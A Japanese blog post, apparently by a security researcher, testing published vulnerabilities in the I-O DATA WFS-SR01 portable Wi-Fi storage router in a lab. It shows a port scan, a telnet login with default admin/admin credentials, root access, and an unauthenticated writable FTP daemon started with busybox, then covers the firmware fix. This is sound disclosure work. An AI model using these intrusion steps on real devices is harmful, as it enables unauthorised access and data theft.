2016年11月2日に、アイ・オー・データ機器が販売する「ポケドラ」ことWFS-SR01に複数の脆弱性があることが報じられました。
株式会社アイ・オー・データ機器が提供する WFS-SR01 は、無線 LAN ルータ機能を搭載したポータブルストレージ機器です。WFS-SR01 のポケットルーター機能には、次の複数の脆弱性が存在します。任意のコマンド実行ということは、OSコマンドインジェクションでもあるのだろうかと思い、腕試しの目的で当該機種を入手して調べてみました。その結果を報告します。
JVN#18228200: WFS-SR01 における複数の脆弱性より引用
- 任意のコマンド実行 - CVE-2016-7806
- アクセス制限不備 - CVE-2016-7807
ポケドラとは
ポケドラは、Wi-Fiモバイルストレージと呼ばれるカテゴリに属し、以下の機能を提供しています。- Wi-Fi経由で使用できるストレージ
- モバイルバッテリー
- SDカードリーダー
- ポケットルーター
もう少し技術的にいえば、有線LAN側はDHCPクライアントとして有線LANに接続(固定IPも可能ですが)し、それをNATで複数のWi-Fi機器で共有します。そのためのDHCPサーバー機能もあります。以下に設定画面の一部を示します。
試してみる
私が入手した端末は、ファームウェアバージョン 2.000.034 というものです。これを仮想的なインターネット環境(IPアドレスはグローバルを想定して203.0.113.0/24を使用)につなげました。有線LAN側(インターネット側)は、実験環境で用意したDHCPにより 203.0.113.10 がポケドラに割り当てられています。お約束にしたがい、まずはポートスキャンにかけてみましょう。以下は、有線LAN側、すなわち場合によってはインターネットに接続されている側からの結果です。
おやおや、いきなり興味深い結果が表示されました。80のhttpは管理画面でしょうが、一般的なルーターでは、インターネット側からアクセスは通常できないように制御されています。23のtelnet、139と445のファイル共有も興味深いですね。$ nmap -p 1-65535 203.0.113.10 PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 81/tcp open hosts2-ns 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5880/tcp open unknown
それでは、まずtelnetでログインしてみましょう。管理画面のデフォルトアカウントはadmin/adminなので、それで試してみます…
$ telnet 203.0.113.10
Trying 203.0.113.10...
Connected to 203.0.113.10.
Escape character is '^]'.
WFS-SR01 login: admin
Password:
BusyBox v1.12.1 (2012-04-26 15:28:18 PHT) built-in shell (ash)
Enter 'help' for a list of built-in commands.
$ uname -a
Linux WFS-SR01 2.6.21 #5 Fri Nov 1 13:36:46 CST 2013 mips unknown
$ whoami
-sh: whoami: not found
$ who
USER TTY IDLE TIME HOST
admin pts/0 00:00 Feb 7 15:50:37
$ free
total used free shared buffers
Mem: 28000 26340 1660 0 1388
Swap: 0 0 0
Total: 28000 26340 1660
$ df
Filesystem 1k-blocks Used Available Use% Mounted on
rootfs 4800 4800 0 100% /
/dev/root 4800 4800 0 100% /
/dev/sda1 1951676 1580 1950096 0% /data/UsbDisk1/Volume1
$
なんと、いきなりtelnetでログインできてしまいました。unameの表示から、Linux 2.6.21、CPUはMIPSであることがわかります。
それにしても…「任意のコマンド実行」とはこれのことですか…あまりのあっけなさに、腕試しをしようという目論見はなんとも不発な感じで微妙な気持ちになりましたが、これはこれで興味深いので、さらに試してみました。
インターネットに向けてファイルを公開してしまう
telnetはいったん中断して、今度はファイル共有を試します。仮想インターネットに接続したWindows XP端末から、\\203.0.113.10にアクセスしてみます。すると、下記のようにログオンプロンプトが表示されます。
ここで、先程同様 admin/admin を試すと、以下のようにファイル共有ができました。
ファイルの読み込みだけでなく、書き込みも可能でした。
しかし、ここまでの問題であれば、デフォルトパスワードを変更しておけば悪用はできないはずで、「違法ではないが一部不適切」と強弁できなくもないなと思いました。
rootログインしてftpdを動かす
そこで再びtelnetに戻り、rootのパスワードを試してみました。いくつかの方法を試した後、rootのパスワードが判明しましたが、詳細は伏せます。判明したパスワードを見て、以下のような感想を持ちました。パスワード-もっと強くキミを守りたい- : IPA情報処理推進機構より引用
それはともかく、rootでログインしてみましょう。
まぁ、パスワードがわかればログインできますよね…$ telnet 203.0.113.10 Trying 203.0.113.10... Connected to 203.0.113.10. Escape character is '^]'. WFS-SR01 login: root Password: login: can't chdir to home directory '/root' BusyBox v1.12.1 (2012-04-26 15:28:18 PHT) built-in shell (ash) Enter 'help' for a list of built-in commands. # who USER TTY IDLE TIME HOST root pts/0 00:00 Nov 30 20:50:40 # pwd / #
rootがとれましたので、ちょっと遊んでみようということで、なにか外部からプログラムをアップロードして動かしてみることにします。といってもあらたにビルドするのは面倒なので、busybox本家サイトから、MIPS用のフル版busyboxバイナリをダウンロードして、ホケドラに挿しているSDカードに保存しました。
動いていますね。# ./busybox-mipsel BusyBox v1.21.1 (2013-07-08 11:09:23 CDT) multi-call binary. BusyBox is copyrighted by many authors between 1998-2012. Licensed under GPLv2. See source distribution for detailed copyright notices. ...
ポケドラに元々インストールされているbusyboxではできないこととして、ftpdを起動してみます。
# ./busybox-mipsel tcpsvd 0 21 ./busybox-mipsel ftpd -w /別の端末から接続してみましょう。
認証なしで書き込みもできるので、攻撃者にとっては便利そうです。これはほんの一例ですが、ポケドラに挿したSDカードの内容が読み取れることはもちろんですが、DNSの設定を変更されることで、意図しないサイトに接続を誘導される等の攻撃も考えられます。$ ftp 203.0.113.10 Connected to 203.0.113.10. 220 Operation successful Name (203.0.113.10:ockeghem): anonymous ← パスワードは要求されない 230 Operation successful Remote system type is UNIX. Using binary mode to transfer files. ftp> pwd 257 "/" ftp> ls 200 Operation successful 150 Directory listing total 0 drwxr-xr-x 2 root root 802 Apr 4 2014 bin drwxr-xr-x 3 root root 20 Apr 4 2014 boot drwxr-xr-x 3 root root 0 Nov 30 20:50 data drwxr-xr-x 6 root root 0 Nov 30 20:50 dev drwxr-xr-x 14 root root 0 Nov 30 20:50 etc ... 226 Operation successful ftp> cd /data/UsbDisk1/Volume1/ 250 Operation successful ftp> pwd 257 "/data/UsbDisk1/Volume1" ftp> ls 200 Operation successful 150 Directory listing total 1596 drwxrwxrwx 2 root root 4096 Nov 9 22:30 System Volume Information -rwxrwxrwx 1 root root 1576152 Nov 30 20:58 busybox-mipsel -rwxrwxrwx 1 root root 10923 Dec 2 2016 ockeghem.png drwxrwxrwx 2 root root 4096 Nov 30 20:57 test 226 Operation successful ftp> put shop.zip ← shop.zipをアップロード local: shop.zip remote: shop.zip 200 Operation successful 150 Ok to send data 226 Operation successful 2753 bytes sent in 0.00 secs (10380.2 kB/s) ftp> ls 200 Operation successful 150 Directory listing total 1596 drwxrwxrwx 2 root root 4096 Nov 9 22:30 System Volume Information -rwxrwxrwx 1 root root 1576152 Nov 30 20:58 busybox-mipsel -rwxrwxrwx 1 root root 10923 Dec 2 2016 ockeghem.png -rwxrwxrwx 1 root root 2753 Nov 30 21:54 shop.zip drwxrwxrwx 2 root root 4096 Nov 30 20:57 test 226 Operation successful ftp> quit 221 Operation successful $
いったんまとめ
ここまで検証したことをまとめると、下記のようになります。- 任意のコマンド実行 - CVE-2016-7806 telnetポートが有効であり、外部からadmin/adminという容易に推測できるアカウントでログインでき、rootログインされてしまう可能性もある
- アクセス制限不備 - CVE-2016-7807 telnetに加え、Windowsファイル共有、管理画面等がインターネット側からも使え、情報漏えいや不正な操作に使われてしまう
最新版での対策
2016年11月15日に最新のファームウェアが公開されました(画面上は2.000.040と表示)。このバージョンでは、以下の変更がなされたようです。- telnetポートが塞がれた(有線LAN、無線LANとも)
- 有線LAN(インターネット)側のポートを塞いだ
そもそもこれは脆弱性だったのか
見出しをご覧になって、「おかしなことを言う」と思われたでしょうが、そもそもポケドラはインターネットに直接接続することを想定していたのかという疑問があります。ネットの商品説明や取扱説明書を見ても、「ホテルの有線LANをWi-Fi化」などという表現であり、インターネットにつなぐことができるという表現ではありません。しかしながら、「ポケットルーター」機能と銘打っており、実際にインターネットに接続すれば一応のWi-Fiルーターとして使用できることから、ユーザーの中にはインターネットに直接接続する方もいるでしょう。そのようなユースケースを重く見て、株式会社アイ・オー・データ機器は、当該問題を脆弱性して公表し、製品回収までしたのだと予想します。そのような株式会社アイ・オー・データ機器の姿勢に私は敬意を表します。
まとめ
本稿で紹介した「脆弱性」は、実装上のミスというよりは、商品コンセプトにやや曖昧なところがあり、意図しない使われ方をした場合に危険な状態になることを想定できなかったことによるものと考えます。そして、今まで発表された IoT機器のセキュリティ問題の多くは、「ユースケースを想定しきれていなかった」ことによるわけで、その意味で象徴的な事例とも言えます。また、改修後のポケドラは、必要最低限の対策であり、一般的な家庭用Wi-FIルーターが備えるセキュリティ機能はないことから、あくまでホテル等で提供されるインターネット接続をWi-Fiに変換するような目的で使用されることを推奨します。つまり、インターネットに直接接続することは、直ちに危険ということではないにしても、避けた方がよいということです。
0 件のコメント:
コメントを投稿